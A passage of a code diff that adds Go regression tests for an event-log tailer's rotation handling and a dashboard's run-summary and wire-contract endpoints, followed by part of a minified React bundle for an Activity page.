+	writeEventLog(t, logPath, runMoleculeEvent(1, "run1", "mol-adopt-pr-v2", "worker-1"))
+
+	ctx, cancel := context.WithCancel(context.Background())
+	defer cancel()
+	var wg sync.WaitGroup
+	m := newRunTailerManager(Deps{SupervisorBaseURL: supervisor.URL})
+	m.enable(ctx, &wg)
+	tl := m.ensure("alpha", logPath)
+
+	select {
+	case <-tl.readyCh:
+	case <-time.After(2 * time.Second):
+		t.Fatal("cold replay did not complete")
+	}
+	waitForLanes(t, tl, 1)
+
+	// The prime fires right after readyCh closes. Wait until it is in-flight and
+	// parked in /sessions, so the append below races a genuinely-stalled prime
+	// rather than one that already returned.
+	deadline := time.Now().Add(2 * time.Second)
+	for sessionsHits.Load() == 0 && time.Now().Before(deadline) {
+		time.Sleep(5 * time.Millisecond)
+	}
+	if got := sessionsHits.Load(); got != 1 {
+		t.Fatalf("sessions prime not in-flight after cold replay: hits=%d, want 1", got)
+	}
+
+	// Append a new run AFTER cold replay (post-ready), so only the live tail poll
+	// can fold it (captureTailCursor took the offset before the replay). With the
+	// prime moved OFF the poll goroutine, the tail folds it within a few poll
+	// intervals even though the prime is still parked — release is not closed until
+	// cleanup. Inline priming would stall the poll here and this waitForLanes would
+	// time out.
+	appendEvents(t, logPath, runMoleculeEvent(2, "run2", "mol-design-review-v2", "worker-2"))
+	waitForLanes(t, tl, 2)
+
+	// The fold above completed while the prime was still parked in /sessions,
+	// proving the prime never gated live polling.
+	if got := sessionsHits.Load(); got != 1 {
+		t.Fatalf("sessions prime hits = %d, want exactly 1 in-flight parked prime", got)
+	}
+
+	unblock()
+	cancel()
+	wg.Wait()
+}
+
+// TestRunTailerRotationCatchUp is the regression guard for the rotation
+// event-drop: events written to the active log in the poll window before a
+// rotation live only in the archived file, so on rotation the live tail must
+// catch up across archives instead of resetting its byte offset and reading only
+// the fresh active file. It drives foldNext directly (no ticker) so the
+// pre-rotation runs are provably archived before the tailer next folds — the
+// exact window the previous size-shrink reset silently dropped.
+func TestRunTailerRotationCatchUp(t *testing.T) {
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	if err := os.MkdirAll(filepath.Dir(logPath), 0o755); err != nil {
+		t.Fatalf("mkdir: %v", err)
+	}
+
+	rec, err := events.NewFileRecorder(logPath, io.Discard)
+	if err != nil {
+		t.Fatalf("recorder: %v", err)
+	}
+	defer rec.Close() //nolint:errcheck
+
+	// Seed one run and cold-load it, so the tail cursor sits past the seed just
+	// like a warm tailer that has already folded the pre-rotation history.
+	rec.Record(runMoleculeEvent(0, "run1", "mol-adopt-pr-v2", "worker-1"))
+
+	tl := &cityRunTailer{name: "alpha", eventsPath: logPath, readyCh: make(chan struct{})}
+	proj := runproj.NewProjector()
+	st := captureTailCursor(logPath)
+	if loadErr := proj.ColdLoad(logPath); loadErr != nil {
+		t.Fatalf("cold load: %v", loadErr)
+	}
+	st.marks = tl.build(proj, nil, nil)
+
+	// Append two more runs to the ACTIVE file, then rotate before the tailer
+	// folds them: after the rename these live only in the archived .gz.
+	rec.Record(runMoleculeEvent(0, "run2", "mol-design-review-v2", "worker-2"))
+	rec.Record(runMoleculeEvent(0, "run3", "mol-bugflow-v1", "worker-3"))
+	if _, err := rec.ForceRotate(); err != nil {
+		t.Fatalf("force rotate: %v", err)
+	}
+	rec.WaitForRotations() // the pre-rotation runs are now only in the .gz archive.
+
+	// A fresh run lands in the new active file after the rotation.
+	rec.Record(runMoleculeEvent(0, "run4", "mol-adopt-pr-v2", "worker-4"))
+
+	// One fold must reconcile the archived pre-rotation runs AND the fresh
+	// active-file run — no sequence gap, no stale lane.
+	tl.foldNext(proj, st)
+
+	got := map[string]bool{}
+	for _, lane := range tl.summary.Lanes {
+		got[lane.ID] = true
+	}
+	for _, want := range []string{"run1", "run2", "run3", "run4"} {
+		if !got[want] {
+			t.Errorf("lane %q missing after rotation; lanes=%v", want, laneIDsOf(tl.summary.Lanes))
+		}
+	}
+	if len(tl.summary.Lanes) != 4 {
+		t.Errorf("lane count = %d, want 4; lanes=%v", len(tl.summary.Lanes), laneIDsOf(tl.summary.Lanes))
+	}
+}
+
+func laneIDsOf(lanes []runproj.RunLane) []string {
+	ids := make([]string, 0, len(lanes))
+	for _, lane := range lanes {
+		ids = append(ids, lane.ID)
+	}
+	return ids
+}
+
+// lanePresent reports whether a run lane with the given id is in the tailer's
+// published summary. Safe to call directly in these single-goroutine tests that
+// drive foldNext by hand (no live loop mutates t.summary concurrently).
+func lanePresent(tl *cityRunTailer, id string) bool {
+	for _, lane := range tl.summary.Lanes {
+		if lane.ID == id {
+			return true
+		}
+	}
+	return false
+}
+
+// TestRunTailerRotationCatchUpInFlightArchive is the regression guard for the
+// async-compression window that TestRunTailerRotationCatchUp does not exercise
+// (it waits for the gzip). After the recorder renames the active log to a plain
+// events.jsonl.rotating-* file it gzips it in the BACKGROUND, so between the
+// rename and the canonical .gz the just-rotated events live only in the rotating
+// file — invisible to the .gz archive walker. A poll that folds during that
+// window must still catch them, not advance the tail past them for good. The
+// window is staged deterministically here: a real ForceRotate's gzip goroutine
+// races the fold, so driving foldNext "without WaitForRotations" would flake
+// (the gzip sometimes wins and the .gz path masks the bug). os.Rename preserves
+// the pre-rotation inode on the rotating file, exactly as the recorder does, so
+// foldNext detects the rotation by identity.
+func TestRunTailerRotationCatchUpInFlightArchive(t *testing.T) {
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	if err := os.MkdirAll(filepath.Dir(logPath), 0o755); err != nil {
+		t.Fatalf("mkdir: %v", err)
+	}
+
+	// A warm tailer that has already folded run1 (cursor past seq 1), like a
+	// tailer mid-run when a rotation happens.
+	writeEventLog(t, logPath, runMoleculeEvent(1, "run1", "mol-adopt-pr-v2", "worker-1"))
+	tl := &cityRunTailer{name: "alpha", eventsPath: logPath, readyCh: make(chan struct{})}
+	proj := runproj.NewProjector()
+	st := captureTailCursor(logPath)
+	if loadErr := proj.ColdLoad(logPath); loadErr != nil {
+		t.Fatalf("cold load: %v", loadErr)
+	}
+	st.marks = tl.build(proj, nil, nil)
+
+	// run2, run3 land on the active log in the poll window before the rotation.
+	appendEvents(t, logPath,
+		runMoleculeEvent(2, "run2", "mol-design-review-v2", "worker-2"),
+		runMoleculeEvent(3, "run3", "mol-bugflow-v1", "worker-3"),
+	)
+
+	// Rotation, staged as the recorder does it but with the gzip still pending:
+	// rename the active log (seq 1-3) to a plain rotating-* file — no .gz yet —
+	// then open a fresh active log. The rename carries the old inode to the
+	// rotating file, so the fresh active log is a distinct identity.
+	rotating := filepath.Join(filepath.Dir(logPath), "events.jsonl.rotating-20260601T120000Z-seq-1-3")
+	if err := os.Rename(logPath, rotating); err != nil {
+		t.Fatalf("rename to rotating: %v", err)
+	}
+	writeEventLog(t, logPath, runMoleculeEvent(4, "run4", "mol-adopt-pr-v2", "worker-4"))
+
+	// One fold must reconcile the in-flight pre-rotation runs AND the fresh
+	// active-file run — the drop happens only if the catch-up ignores the
+	// rotating file.
+	tl.foldNext(proj, st)
+
+	got := map[string]bool{}
+	for _, lane := range tl.summary.Lanes {
+		got[lane.ID] = true
+	}
+	for _, want := range []string{"run1", "run2", "run3", "run4"} {
+		if !got[want] {
+			t.Errorf("lane %q missing after in-flight rotation; lanes=%v", want, laneIDsOf(tl.summary.Lanes))
+		}
+	}
+	if len(tl.summary.Lanes) != 4 {
+		t.Errorf("lane count = %d, want 4; lanes=%v", len(tl.summary.Lanes), laneIDsOf(tl.summary.Lanes))
+	}
+}
+
+// TestRunTailerStartupCursorRotationRaceDoesNotSkip is the regression guard for
+// the startup cursor split-stat race: the old capture read the byte offset and
+// the active-file identity with two separate stats, so a rotation between them
+// paired the OLD file's larger offset with the FRESH file's identity. The first
+// foldNext then saw no identity change, ReadFrom seeked past the fresh file's EOF
+// (reader.go returns the same offset when no bytes are available), and every
+// fresh event below the stale offset was silently dropped until restart. It
+// reproduces that exact corrupted cursor — a stale beyond-EOF offset on the
+// current active identity — and proves one foldNext still folds the fresh event.
+func TestRunTailerStartupCursorRotationRaceDoesNotSkip(t *testing.T) {
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+
+	// A warm tailer that already folded run1..run3 (cursor past seq 3) off a
+	// larger pre-rotation active file.
+	writeEventLog(t, logPath,
+		runMoleculeEvent(1, "run1", "mol-adopt-pr-v2", "worker-1"),
+		runMoleculeEvent(2, "run2", "mol-design-review-v2", "worker-2"),
+		runMoleculeEvent(3, "run3", "mol-bugflow-v1", "worker-3"),
+	)
+	tl := &cityRunTailer{name: "alpha", eventsPath: logPath, readyCh: make(chan struct{})}
+	proj := runproj.NewProjector()
+	if loadErr := proj.ColdLoad(logPath); loadErr != nil {
+		t.Fatalf("cold load: %v", loadErr)
+	}
+	st := captureTailCursor(logPath)
+	st.marks = tl.build(proj, nil, nil)
+	staleOffset := st.offset // the pre-rotation (larger) active-file size
+
+	// The fresh post-rotation active file is smaller and carries run4. Rewriting
+	// in place keeps a stable identity — exactly the one the racy two-stat capture
+	// would have paired with the OLD file's larger offset — so foldNext sees no
+	// identity change and must instead recover from the stale beyond-EOF offset.
+	writeEventLog(t, logPath, runMoleculeEvent(4, "run4", "mol-adopt-pr-v2", "worker-4"))
+	freshInfo, err := os.Stat(logPath)
+	if err != nil {
+		t.Fatalf("stat fresh active: %v", err)
+	}
+	if staleOffset <= freshInfo.Size() {
+		t.Fatalf("precondition: stale offset %d must exceed fresh size %d", staleOffset, freshInfo.Size())
+	}
+	st.offset = staleOffset
+	st.activeInfo = freshInfo
+
+	tl.foldNext(proj, st)
+
+	if !lanePresent(tl, "run4") {
+		t.Errorf("run4 skipped: a fresh event below the stale startup offset was dropped; lanes=%v", laneIDsOf(tl.summary.Lanes))
+	}
+	for _, want := range []string{"run1", "run2", "run3"} {
+		if !lanePresent(tl, want) {
+			t.Errorf("pre-rotation lane %q lost; lanes=%v", want, laneIDsOf(tl.summary.Lanes))
+		}
+	}
+}
+
+// TestRunTailerRotationCatchUpErrorRetriesNextPoll is the regression guard for
+// the rotation catch-up state-commit gap: on a detected rotation the tailer must
+// catch up the just-rotated events (now only in the archive) BEFORE advancing its
+// active identity and resetting its offset. The old code committed the fresh
+// identity and reset the offset even when the catch-up read failed, so the next
+// poll saw no rotation (SameFile) and the run2/run3 window was lost until restart.
+// A transient catch-up error must instead leave the old identity in place so the
+// next poll re-detects the rotation and recovers the whole window.
+func TestRunTailerRotationCatchUpErrorRetriesNextPoll(t *testing.T) {
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+
+	// Warm tailer that folded run1 (cursor past seq 1).
+	writeEventLog(t, logPath, runMoleculeEvent(1, "run1", "mol-adopt-pr-v2", "worker-1"))
+	tl := &cityRunTailer{name: "alpha", eventsPath: logPath, readyCh: make(chan struct{})}
+	proj := runproj.NewProjector()
+	if loadErr := proj.ColdLoad(logPath); loadErr != nil {
+		t.Fatalf("cold load: %v", loadErr)
+	}
+	st := captureTailCursor(logPath)
+	st.marks = tl.build(proj, nil, nil)
+	preRotationInfo := st.activeInfo
+
+	// run2, run3 land on the active log in the poll window, then a rotation moves
+	// them to a plain rotating-* archive and opens a fresh active file (run4). The
+	// rename carries the old inode to the rotating file, so the fresh active file
+	// is a distinct identity foldNext detects as a rotation.
+	appendEvents(t, logPath,
+		runMoleculeEvent(2, "run2", "mol-design-review-v2", "worker-2"),
+		runMoleculeEvent(3, "run3", "mol-bugflow-v1", "worker-3"),
+	)
+	rotating := filepath.Join(dir, ".gc", "events.jsonl.rotating-20260601T120000Z-seq-2-3")
+	if err := os.Rename(logPath, rotating); err != nil {
+		t.Fatalf("rename to rotating: %v", err)
+	}
+	writeEventLog(t, logPath, runMoleculeEvent(4, "run4", "mol-adopt-pr-v2", "worker-4"))
+
+	// Fail the first catch-up read, then fall through to the real reader.
+	defer func(prev func(string, events.Filter) ([]events.Event, error)) { readRotationCatchUp = prev }(readRotationCatchUp)
+	realCatchUp := events.ReadFilteredWithInFlight
+	calls := 0
+	readRotationCatchUp = func(path string, f events.Filter) ([]events.Event, error) {
+		calls++
+		if calls == 1 {
+			return nil, errors.New("transient catch-up read error")
+		}
+		return realCatchUp(path, f)
+	}
+
+	// First poll: catch-up errors. Nothing folds, and the tailer must not advance
+	// its active identity or the next poll can no longer re-detect the rotation.
+	tl.foldNext(proj, st)
+	if lanePresent(tl, "run2") || lanePresent(tl, "run3") || lanePresent(tl, "run4") {
+		t.Fatalf("events folded despite a catch-up error; lanes=%v", laneIDsOf(tl.summary.Lanes))
+	}
+	if !os.SameFile(preRotationInfo, st.activeInfo) {
+		t.Fatalf("active identity advanced on a catch-up error; the next poll can no longer re-detect the rotation")
+	}
+
+	// Second poll: catch-up succeeds and recovers the whole rotation window.
+	tl.foldNext(proj, st)
+	for _, want := range []string{"run1", "run2", "run3", "run4"} {
+		if !lanePresent(tl, want) {
+			t.Errorf("lane %q missing after catch-up retry; lanes=%v", want, laneIDsOf(tl.summary.Lanes))
+		}
+	}
+}
+
+// TestRunSummaryEndpointEnrichesFromSessions drives the full endpoint: the warm
+// fold plus request-time session enrich resolves a lane's session to available
+// health and an available census.
+func TestRunSummaryEndpointEnrichesFromSessions(t *testing.T) {
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	writeEventLog(t, logPath, runMoleculeEvent(1, "run1", "mol-adopt-pr-v2", "worker-1"))
+
+	sessions := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.URL.Path != "/v0/city/alpha/sessions" {
+			w.WriteHeader(http.StatusNotFound)
+			return
+		}
+		w.Header().Set("Content-Type", "application/json")
+		_, _ = w.Write([]byte(`{"items":[{"id":"s1","template":"t","session_name":"alpha__worker-1","title":"W","alias":"worker-1","state":"active","created_at":"2026-06-01T10:00:00Z","last_active":"2026-06-01T11:00:00Z","attached":false,"running":true,"activity":"thinking","provider":"claude"}],"total":1}`))
+	}))
+	defer sessions.Close()
+
+	p := New(Deps{
+		Resolver:          fakeResolver{paths: map[string]string{"alpha": dir}},
+		SupervisorBaseURL: sessions.URL,
+	})
+	ctx, cancel := context.WithCancel(context.Background())
+	defer cancel()
+	p.Start(ctx)
+	defer p.Stop()
+
+	resp := getRunSummary(t, p, "alpha")
+	if resp.TotalActive != 1 || len(resp.Lanes) != 1 {
+		t.Fatalf("totalActive=%d lanes=%d, want 1/1", resp.TotalActive, len(resp.Lanes))
+	}
+	lane := resp.Lanes[0]
+	if lane.Health.Status != "available" {
+		t.Errorf("lane health = %q, want available", lane.Health.Status)
+	}
+	if lane.Health.Data.Session.Status != "resolved" {
+		t.Errorf("session status = %q, want resolved", lane.Health.Data.Session.Status)
+	}
+	if resp.Census.Status != "available" {
+		t.Errorf("census status = %q, want available", resp.Census.Status)
+	}
+}
+
+// TestRunSummaryEndpointDegradesWithoutSessions proves a sessions outage degrades
+// lane health to unavailable (counted unverifiable in the census) rather than
+// failing the load.
+func TestRunSummaryEndpointDegradesWithoutSessions(t *testing.T) {
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	writeEventLog(t, logPath, runMoleculeEvent(1, "run1", "mol-adopt-pr-v2", "worker-1"))
+
+	// No SupervisorBaseURL: the sessions read is unavailable.
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	ctx, cancel := context.WithCancel(context.Background())
+	defer cancel()
+	p.Start(ctx)
+	defer p.Stop()
+
+	resp := getRunSummary(t, p, "alpha")
+	if len(resp.Lanes) != 1 {
+		t.Fatalf("lanes = %d, want 1", len(resp.Lanes))
+	}
+	if resp.Lanes[0].Health.Status != "unavailable" {
+		t.Errorf("lane health = %q, want unavailable on sessions outage", resp.Lanes[0].Health.Status)
+	}
+	if resp.Census.Status != "available" {
+		t.Errorf("census status = %q, want available", resp.Census.Status)
+	}
+	if resp.Census.Data.TotalInFlight < 1 || resp.Census.Data.Unverifiable < 1 {
+		t.Errorf("census = %+v, want >=1 in-flight and >=1 unverifiable", resp.Census.Data)
+	}
+}
+
+// TestRunSummaryEndpointUnknownCity404s confirms an unresolvable city 404s.
+func TestRunSummaryEndpointUnknownCity404s(t *testing.T) {
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{}}})
+	rec := httptest.NewRecorder()
+	p.Handler().ServeHTTP(rec, httptest.NewRequest(http.MethodGet, "/api/city/ghost/runs/summary", nil))
+	if rec.Code != http.StatusNotFound {
+		t.Errorf("status = %d, want 404 for unknown city", rec.Code)
+	}
+}
+
+// runSummaryWire is the decoded endpoint body — a structural contract check that
+// the wire carries the enriched RunSummary shape the SPA renderer reads.
+type runSummaryWire struct {
+	TotalActive int `json:"totalActive"`
+	Lanes       []struct {
+		ID     string `json:"id"`
+		Health struct {
+			Status string `json:"status"`
+			Data   struct {
+				PhaseConfidence string `json:"phaseConfidence"`
+				Session         struct {
+					Status string `json:"status"`
+				} `json:"session"`
+			} `json:"data"`
+		} `json:"health"`
+	} `json:"lanes"`
+	Census struct {
+		Status string `json:"status"`
+		Data   struct {
+			TotalInFlight int `json:"totalInFlight"`
+			Unverifiable  int `json:"unverifiable"`
+		} `json:"data"`
+	} `json:"census"`
+}
+
+func getRunSummary(t *testing.T, p *Plane, city string) runSummaryWire { //nolint:unparam // city is fixed today but kept for parity with the other run helpers
+	t.Helper()
+	rec := httptest.NewRecorder()
+	p.Handler().ServeHTTP(rec, httptest.NewRequest(http.MethodGet, "/api/city/"+city+"/runs/summary", nil))
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status = %d, want 200; body=%s", rec.Code, rec.Body.String())
+	}
+	var resp runSummaryWire
+	if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
+		t.Fatalf("decode response: %v; body=%s", err, rec.Body.String())
+	}
+	return resp
+}
diff --git a/internal/api/dashboardbff/wire_contract_test.go b/internal/api/dashboardbff/wire_contract_test.go
index 79b4a6719c..7661e84c11 100644
--- a/internal/api/dashboardbff/wire_contract_test.go
+++ b/internal/api/dashboardbff/wire_contract_test.go
@@ -4,6 +4,7 @@ import (
 	"encoding/json"
 	"net/http"
 	"net/http/httptest"
+	"path/filepath"
 	"strings"
 	"testing"
 )
@@ -161,6 +162,78 @@ func TestWireContractRunDiff(t *testing.T) {
 	mustBool(t, m, "truncated")
 }
 
+// TestWireContractRunDetailProgressTerminal guards the Go-derived
+// progress.terminal flag on the run-detail wire: the SPA reads it (in place of
+// the retired isTerminalProgress client fold) to drive ambient-event
+// suppression, so the field must always be present and a bool.
+func TestWireContractRunDetailProgressTerminal(t *testing.T) {
+	dir := t.TempDir()
+	writeEventLog(t, filepath.Join(dir, ".gc", "events.jsonl"),
+		runDetailRootEvent(),
+		runDetailStepEvent(2, "run1.1", "run1", "preflight", "in_progress"),
+	)
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	m := wireGet(t, p, "/api/city/alpha/runs/run1/detail")
+	progress, ok := m["progress"].(map[string]any)
+	if !ok {
+		t.Fatalf("progress must be an object, got %T", m["progress"])
+	}
+	mustBool(t, progress, "terminal")
+}
+
+// TestWireContractRunDetailStreamFrame is the cross-boundary guard for the P4
+// SSE detail stream: the pushed frame body is the SAME FormulaRunDetail struct
+// the GET serves, so a captured `data:` frame must satisfy the same field+type
+// contract the TS decodeFormulaRunDetail enforces. It parses the first SSE frame
+// off a real streaming connection and asserts the load-bearing fields the SPA
+// hard-derefs, so a Go struct that drifts from the TS decoder fails here.
+func TestWireContractRunDetailStreamFrame(t *testing.T) {
+	dir := t.TempDir()
+	writeEventLog(t, filepath.Join(dir, ".gc", "events.jsonl"),
+		runDetailRootEvent(),
+		runDetailStepEvent(2, "run1.1", "run1", "preflight", "in_progress"),
+	)
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+
+	srv := httptest.NewServer(p.Handler())
+	defer srv.Close()
+
+	resp, sc, closeStream := startDetailStream(t, srv)
+	defer closeStream()
+	_ = resp
+
+	frame, ok := readSSEFrame(t, sc)
+	if !ok {
+		t.Fatal("no SSE frame to assert the wire contract against")
+	}
+	var m map[string]any
+	if err := json.Unmarshal([]byte(frame.data), &m); err != nil {
+		t.Fatalf("decode SSE frame body: %v; data=%q", err, frame.data)
+	}
+	// The same fields decodeFormulaRunDetail requires on the GET body.
+	mustString(t, m, "runId")
+	mustObject(t, m, "formula")
+	mustObject(t, m, "formulaDetail")
+	mustObject(t, m, "executionPath")
+	mustObject(t, m, "snapshotEventSeq")
+	mustObject(t, m, "completeness")
+	mustArray(t, m, "stages")
+	mustArray(t, m, "nodes")
+	mustArray(t, m, "edges")
+	mustArray(t, m, "lanes")
+	progress, isObj := m["progress"].(map[string]any)
+	if !isObj {
+		t.Fatalf("progress must be an object, got %T", m["progress"])
+	}
+	mustObject(t, progress, "statusCounts")
+	mustBool(t, progress, "terminal")
+}
+
 // TestSanitizeTerminalOutputStripsCSIAndControls is the regression guard for the
 // broadened CSI grammar: SGR, intermediate-byte, and private CSI sequences are
 // all removed whole, leaving no introducer/param/intermediate residue, and no
diff --git a/internal/api/dashboardspa/dist/assets/Activity-C0ndMSgp.js b/internal/api/dashboardspa/dist/assets/Activity-C0ndMSgp.js
new file mode 100644
index 0000000000..2500695240
--- /dev/null
+++ b/internal/api/dashboardspa/dist/assets/Activity-C0ndMSgp.js
@@ -0,0 +1,2 @@
+import{J as _,I as q,a as P,K as B,b as F,j as t,B as V,L as W,a9 as $,aa as D,X as A,z as v,S as R,H as M}from"./index-BFDP6Xwd.js";import{r as C,c as b}from"./routeHighlight-B30gQO2o.js";import{P as z}from"./PageHeader-5RHLpIfH.js";import{b as G,a as H}from"./time-D9v0saHV.js";import{u as O}from"./useVisibleRefresh-Bxd6CPUo.js";const U=100,f="24h";async function K(e={}){const s=_("list supervisor events"),a=await q().listEvents(s,{limit:U,since:f,...e}),i=a.items??[];return i.sort((n,l)=>l.seq-n.seq),{...a,items:i,total:Number(a.total)}}const J=[{mode:"all",label:"All"},{mode:"events",label:"Events"},{mode:"deploys",label:"Deploys"},{mode:"commits",label:"Commits"}],L=[{value:"1h",label:"Last hour"},{value:f,label:"Last 24 hours"},{value:"7d",label:"Last 7 days"}],X=[{value:"all",label:"All signals"},{value:"attention",label:"Attention"},{value:"watch",label:"Watch"},{value:"event",label:"Event"}];function Ne(){const e=P(),[s,a]=B(),i=de(s),n=d(i,"events"),l=n?x(s.get("type")):null,o=n?x(s.get("actor")):null,r=n?me(s):f,c=n?pe(s):"all",h=n?x(s.get("q")):null,I=["activity:bundle",M()??"no-city",i,l??"all",o??"all",r,c,h??""].join(":"),{data:u,loading:m,error:S,refresh:k}=F(I,()=>Q(i,l,o,r,c,h));return O(k,3e4),t.jsxs("section",{children:[t.jsx(z,{title:"Activity",synopsis:ie(i,l),meta:t.jsxs(t.Fragment,{children:[S&&t.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:S}),t.jsx(V,{size:"sm",onClick:()=>{k()},disabled:m,children:m?"Refreshing":"Refresh"})]})}),t.jsx(Z,{active:i,eventType:l}),n&&t.jsx(ee,{eventType:l,eventActor:o,eventWindow:r,eventSignal:c,searchParams:s,setSearchParams:a,textFilter:h}),t.jsxs("div",{className:"mt-10 space-y-12",children:[d(i,"events")&&t.jsx(te,{events:u?.events??null,...u?.eventsError!==void 0?{error:u.eventsError}:{},filterActive:l!==null||o!==null||c!=="all"||h!==null,loading:m,attentionSeverity:g=>C(e,"activity",oe(g))}),d(i,"deploys")&&t.jsx(se,{deploys:u?.deploys??null,...u?.deploysError!==void 0?{error:u.deploysError}:{},loading:m,attentionSeverity:g=>C(e,"activity",ce(g))}),d(i,"commits")&&t.jsx(re,{commits:u?.commits??null,...u?.commitsError!==void 0?{error:u.commitsError}:{},loading:m})]})]})}async function Q(e,s,a,i,n,l){const[o,r,c]=await Promise.allSettled([d(e,"events")?Y(s,a,i,n,l):Promise.resolve(null),d(e,"deploys")?A.listBuilds():Promise.resolve(null),d(e,"commits")?A.listCommits("recent-all"):Promise.resolve(null)]);return{commits:j(c),...c.status==="rejected"?{commitsError:v(c.reason,"git commits unavailable")}:{},deploys:j(r),...r.status==="rejected"?{deploysError:v(r.reason,"deploy history unavailable")}:{},events:j(o),...o.status==="rejected"?{eventsError:v(o.reason,"event history unavailable")}:{}}}async function Y(e,s,a,i,n){const l=await K({since:a,...e===null?{}:{type:e},...s===null?{}:{actor:s}}),o=n?.toLowerCase()??"",r=l.items.filter(c=>e!==null&&c.type!==e||s!==null&&c.actor!==s||i!=="all"&&$(c)!==i?!1:o.length===0?!0:xe(c).includes(o));return{...l,items:r,total:r.length}}function j(e){return e.status==="fulfilled"?e.value:null}function Z({active:e,eventType:s}){return t.jsx("nav",{"aria-label":"Activity modes",children:t.jsx("ul",{className:"flex flex-wrap gap-2",children:J.map(({mode:a,label:i})=>{const n=e===a;return t.jsx("li",{children:t.jsx(W,{to:ue(a,s),"aria-current":n?"page":void 0,className:["inline-flex items-center rounded-sm border px-2.5 py-1 text-label uppercase tracking-wider transition-colors duration-150 ease-out-quart focus-mark",n?"border-fg text-fg":"border-rule text-fg-muted hover:text-fg hover:bg-surface-tint"].join(" "),children:i})},a)})})})}function ee({eventActor:e,eventSignal:s,eventType:a,eventWindow:i,searchParams:n,setSearchParams:l,textFilter:o}){return t.jsxs("div",{className:"mt-6 flex flex-wrap items-end gap-4",children:[t.jsxs("label",{className:"grid gap-1 text-label uppercase tracking-wider text-fg-muted",children:["Event window",t.jsx("select",{"aria-label":"Event window",value:i,onChange:r=>p(l,n,"since",r.currentTarget.value,f),className:"min-w-36 rounded-sm border border-rule bg-surface px-2 py-1 text-body normal-case tracking-normal text-fg focus-mark",children:L.map(r=>t.jsx("option",{value:r.value,children:r.label},r.value))})]}),t.jsxs("label",{className:"grid gap-1 text-label uppercase tracking-wider text-fg-muted",children:["Event type",t.jsx("input",{"aria-label":"Event type",value:a??"",onChange:r=>p(l,n,"type",r.currentTarget.value),placeholder:"session.crashed",className:"min-w-44 rounded-sm border border-rule bg-surface px-2 py-1 text-body normal-case tracking-normal text-fg placeholder:text-fg-faint focus-mark"})]}),t.jsxs("label",{className:"grid gap-1 text-label uppercase tracking-wider text-fg-muted",children:["Event actor",t.jsx("input",{"aria-label":"Event actor",value:e??"",onChange:r=>p(l,n,"actor",r.currentTarget.value),placeholder:"supervisor",className:"min-w-40 rounded-sm border border-rule bg-surface px-2 py-1 text-body normal-case tracking-normal text-fg placeholder:text-fg-faint focus-mark"})]}),t.jsxs("label",{className:"grid gap-1 text-label uppercase tracking-wider text-fg-muted",children:["Signal severity",t.jsx("select",{"aria-label":"Signal severity",value:s,onChange:r=>p(l,n,"signal",r.currentTarget.value,"all"),className:"min-w-36 rounded-sm border border-rule bg-surface px-2 py-1 text-body normal-case tracking-normal text-fg focus-mark",children:X.map(r=>t.jsx("option",{value:r.value,children:r.label},r.value))})]}),t.jsxs("label",{className:"grid min-w-56 flex-1 gap-1 text-label uppercase tracking-wider text-fg-muted",children:["Search activity",t.jsx("input",{"aria-label":"Search activity",value:o??"",onChange:r=>p(l,n,"q",r.currentTarget.value),placeholder:"actor, subject, or message",className:"rounded-sm border border-rule bg-surface px-2 py-1 text-body normal-case tracking-normal text-fg placeholder:text-fg-faint focus-mark"})]})]})}function te({error:e,events:s,filterActive:a,loading:i,attentionSeverity:n}){const l=s?.items??[],o=fe(s);return t.jsxs(y,{title:"Supervisor events",meta:s===null?null:`${s.total} events`,children:[e!==void 0&&t.jsxs("p",{className:"text-body text-accent",role:"alert",children:["Event history unavailable: ",e,"."]}),s?.partial===!0&&t.jsxs("p",{className:"text-body text-warn",children:["Event history incomplete",o.length>0?`: ${o.join("; ")}`:"."]}),t.jsxs(N,{label:"Supervisor events",children:[t.jsx("thead",{children:t.jsxs("tr",{className:"border-b border-rule text-label uppercase tracking-wider text-fg-muted",children:[t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Time"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Signal"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Type"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Subject"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Detail"})]})}),t.jsx("tbody",{children:l.length===0?t.jsx(w,{colSpan:5,children:i?"Reading supervisor events.":e!==void 0?"Event history unavailable.":a?"No supervisor events match these filters.":"No supervisor events in this window."}):l.map((r,c)=>t.jsxs("tr",{...b(n(r)),className:`border-b border-rule ${b(n(r)).className??""}`,children:[t.jsx("td",{className:"py-3 pr-6 align-baseline text-fg-muted",children:t.jsx(E,{ts:r.ts})}),t.jsx("td",{className:"py-3 pr-6 align-baseline",children:t.jsx(le,{signal:$(r)})}),t.jsx("td",{className:"py-3 pr-6 align-baseline font-medium text-fg",children:r.type}),t.jsx("td",{className:"py-3 pr-6 align-baseline text-fg-muted",children:r.subject??"·"}),t.jsx("td",{className:"py-3 pr-6 align-baseline text-fg-muted",children:D(r)})]},`${r.seq}:${r.type}:${c}`))})]})]})}function se({deploys:e,error:s,loading:a,attentionSeverity:i}){const n=e?.items??[];return t.jsxs(y,{title:"Deploy history",meta:e?.failed_marker===!0?"failed marker present":e?.source??null,children:[s!==void 0&&t.jsxs("p",{className:"text-body text-accent",role:"alert",children:["Deploy history unavailable: ",s,"."]}),t.jsxs(N,{label:"Deploy history",children:[t.jsx("thead",{children:t.jsxs("tr",{className:"border-b border-rule 